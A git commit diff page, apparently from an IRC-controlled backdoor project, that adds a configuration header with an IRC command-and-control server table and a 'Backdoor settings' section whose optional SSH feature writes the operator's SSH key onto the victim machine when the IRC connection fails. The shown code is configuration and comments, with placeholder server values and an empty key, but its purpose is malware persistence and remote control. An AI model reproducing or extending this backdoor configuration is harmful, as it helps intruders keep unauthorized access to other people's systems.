fixed
This commit is contained in:
parent
6f5a7c00c1
commit
d8003d97e0
6 changed files with 95 additions and 32 deletions
|
@ -1,13 +1,43 @@
|
|||
typedef struct {
|
||||
int use_ssl;
|
||||
char *ip;
|
||||
int port;
|
||||
#ifdef MAIN_C
|
||||
typedef struct {
|
||||
int use_ssl;
|
||||
char *ip;
|
||||
int port;
|
||||
|
||||
char *pre_cmd;
|
||||
char *channel;
|
||||
char *channel_key;
|
||||
} SERVER;
|
||||
char *pre_cmd;
|
||||
char *channel;
|
||||
char *channel_key;
|
||||
} SERVER;
|
||||
|
||||
|
||||
/* Client settings */
|
||||
#define CFG_NICKLEN 7
|
||||
SERVER servers[] = {
|
||||
{1, "irc.ipv4.server", 6697, NULL, "#channel", NULL}
|
||||
};
|
||||
|
||||
/*
|
||||
* Irc default ports:
|
||||
* 6667 - unencrypted
|
||||
* 6697 - connection with ssl
|
||||
*/
|
||||
#endif
|
||||
|
||||
|
||||
/* Backdoor settings */
|
||||
#ifdef BACKDOOR_C
|
||||
|
||||
/* Uncomment if you want to enable option */
|
||||
/* #define CFG_SSH */
|
||||
|
||||
#ifdef CFG_SSH
|
||||
/*
|
||||
* Writes your ssh key if connection
|
||||
* was not established
|
||||
*/
|
||||
|
||||
const char *ssh_key = "";
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
SERVER servers[] = {
|
||||
{1, "irc.ipv4.server", 6697, NULL, "#channel", NULL}
|
||||
};
|
||||
|
|
|
@ -58,7 +58,6 @@ int IRCC_register(IRCC_client *irc, const char *nickname);
|
|||
int IRCC_initssl(IRCC_client *irc);
|
||||
void IRCC_close(IRCC_client *irc);
|
||||
|
||||
//u - mean universal. Functions uses internal fields in structure
|
||||
int IRCC_usend(IRCC_client *irc, off_t bytes);
|
||||
int IRCC_urecv(IRCC_client *irc);
|
||||
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue